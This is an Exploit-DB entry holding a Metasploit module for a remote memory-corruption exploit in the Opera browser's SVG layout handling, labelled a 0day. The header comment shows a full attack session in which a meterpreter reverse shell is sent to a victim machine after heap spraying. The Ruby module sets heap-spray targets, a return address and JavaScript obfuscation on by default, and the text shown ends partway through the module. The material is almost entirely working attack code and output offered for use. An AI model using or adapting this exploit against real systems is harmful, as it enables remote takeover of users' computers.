Exploit-DB #17960
Description: Opera Browser 10/11/12 - 'SVG Layout' Memory Corruption (Metasploit)
Type: remote
Platform: windows
Date: 2011-10-10
Author: Jose A. Vazquez

Exploit:
###############################################################################################################
# Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day)
#
# Vulnerability:
#
# Discovered: 2010-10-13
# Patched: 0day
# Tested on: v10.xx (v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
#							v11.xx (v11.00, v11.01, v11.10, v11.11, v11.50 and v11.51)
#
# Exploit:
#
# Coded: 2010-10-14
# Last revision: 2011-10-08
#
# This exploit was modified with a new poc and triggering method, to hit Opera Next. The first copy was coded for v10.5x/v10.6x.
#
# RCE on: v11.00, v11.01, v11.10, v11.11, v11.50, v11.51 and v12.00 pre-alpha r1076 (Opera Next)
#
# Notes:
#
#	1) DEP bypass: possible but unreliable.
#	2) Let me know if you improve this one ;)
#	3) Two days ago, Opera Next was updated to 12.00 pre-alpha r1085
#		and this exploit is less reliable, even sometimes never gets crashed.
#		Anyway, I've also seen remote code execution.
#
#
# Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
#
# Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, EnRed20.org, etc
#
#
# Running against Opera v12.00 pre-alpha r1076...
#
#
#
#        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
# + -- --=[ 742 exploits - 378 auxiliary - 83 post
# + -- --=[ 228 payloads - 27 encoders - 8 nops
#        =[ svn r13810 updated today (2011.10.06)
#
# msf > use windows/browser/opera_svg_0day
# msf  exploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp
# payload => windows/meterpreter/reverse_tcp
# msf  exploit(opera_svg_0day) > set LHOST 192.168.1.103
# LHOST => 192.168.1.103
# msf  exploit(opera_svg_0day) > exploit
# [*] Exploit running as background job.
# msf  exploit(opera_svg_0day) >
# [*] Started reverse handler on 192.168.1.103:4444
# [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5
# [*]  Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5
# [*] Server started.
# [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
# [*] Sending stage 1 (Spraying the heap)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
# [*] Sending stage (752128 bytes) to 192.168.1.104
# [*] Sending stage 1 (Spraying the heap)
# [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200
# Interrupt: use the 'exit' command to quit
# msf  exploit(opera_svg_0day) > sessions
#
# Active sessions
# ===============
#
#   Id  Type                   Information                              Connection
#   --  ----                   -----------                              ----------
#   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1234
#
# msf  exploit(opera_svg_0day) > sessions -i 1
# [*] Starting interaction with 1...
#
# meterpreter > execute -f calc.exe
# Process 1752 created.
# meterpreter > exit
# [*] Shutting down Meterpreter...
#
# [*] Meterpreter session 1 closed.  Reason: User exit
# msf  exploit(opera_svg_0day) >
#
################################################################################################################

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	
	def initialize(info = {})
	
		super(update_info(info,
			'Name'           => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
			'Description'    => %q{
			
				This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting 
				leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). 
				Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less 
				success (depending of opera.dll version). This module won't work against v10.xx because it was 
				modified to exploit Opera upper to v11.
				Read the lastest references for further details.
				
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jose A. Vazquez'
				],
			'Version'        => '$Revision: 0011 $',
			'References'     =>
				[
					['URL', 'http://www.beyondsecurity.com/ssd.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'],	# English
					['URL', 'http://enred20.org/node/27']	# Spanish
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'          => 'process',
					'HTTP::compression' => 'gzip',
					'HTTP::chunked'     => true
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[	

					# spray of ~ 450 MB.
					
					[ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',  
						{
							'Method' => 'usual',
							'MaxOffset' => nil,
							'MaxSize' => nil,
							'MaxBlocks' => 900,
							'Ret' => 0x0c0c0c0c
						}
					],
					
					# Thanks to sinn3r of metasploit.com for this method.
					
					[ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)',  
						{
							'Method' => 'precise-allocation-size',
							'MaxOffset' => 0x800,
							'MaxSize' => 0x80000,
							'MaxBlocks' => 0x500,
							'Ret' => 0x0c0c0c0c
						}
					]
				],
			'DisclosureDate' => '0day',
			'DefaultTarget'  => 0))
			
			#Apply obfuscation by default
			
			register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true])
			], self.class)